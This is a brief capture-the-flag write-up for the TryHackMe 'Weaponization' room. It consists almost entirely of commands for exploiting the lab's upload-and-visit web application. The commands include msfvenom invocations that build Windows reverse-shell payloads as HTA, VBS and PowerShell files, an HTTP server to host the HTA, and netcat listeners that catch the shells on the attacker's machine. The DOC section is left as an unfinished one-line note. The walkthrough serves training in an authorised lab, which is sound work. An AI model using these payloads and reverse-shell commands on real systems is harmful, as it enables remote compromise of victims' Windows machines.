# Weaponization

**Room Link:** [https://tryhackme.com/room/weaponization](https://tryhackme.com/room/weaponization)



## Practice Area

**From the room:** The web application allows uploading payloads as VBS, DOC, PS1 files. In addition, if you provide a malicious HTA link, the web application will visit your link.

We will be exploiting this box with every mentioned above.&#x20;

### HTA

**Kali #1**

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=443 -f hta-psh -o thm.hta
python2 -m SimpleHTTPServer 81
```

**Kali #2**

```
rlwrap nc -lvnp 443
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5pOwxSSMIoWtDB7vRAgf%2Fimage.png?alt=media&#x26;token=2f0d3793-c622-448a-9734-83a71d497946" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FudxqeLKmijcKwDv59smE%2Fimage.png?alt=media&#x26;token=ee57de50-2aa7-4724-9938-f978913ce25e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FIIzY1dNFrAcqZ5BBFFhE%2Fimage.png?alt=media&#x26;token=0d011c27-aad1-45fc-8e96-7024792f2aaf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F1H3VBkEUnP9UrGjXWA8G%2Fimage.png?alt=media&#x26;token=aac69f60-0d5b-434d-a715-ef7e33d244d2" alt=""><figcaption></figcaption></figure>

### VBS

**Kali #1**

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=443 -f vbs -o exploit.vbs
```

**Kali #2**

```
rlwrap nc -lvnp 443
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FsfMaXTQG2jMcMBJ1GSJe%2Fimage.png?alt=media&#x26;token=108021e5-e4d4-4982-8ce1-b044515ebcd1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FX4MLxOz00aEuxEyUkvqe%2Fimage.png?alt=media&#x26;token=676f16b4-55a2-4e7c-b3cb-cc3b0d11fe2d" alt=""><figcaption></figcaption></figure>

### DOC

Do when have access to a Windows machine with word.

### PS1

**Kali #1**

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=443 -f psh -o exploit.ps1
```

**Kali #2**

```
rlwrap nc -lvnp 443
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fgm44K7l0xApiYfvJYphG%2Fimage.png?alt=media&#x26;token=c3f07154-e6c6-4113-9c07-117de29ab84a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FKJrvtvsC1u5uCTAIcrE6%2Fimage.png?alt=media&#x26;token=c06cf6ee-460c-4ca0-8908-e4bd38083200" alt=""><figcaption></figcaption></figure>
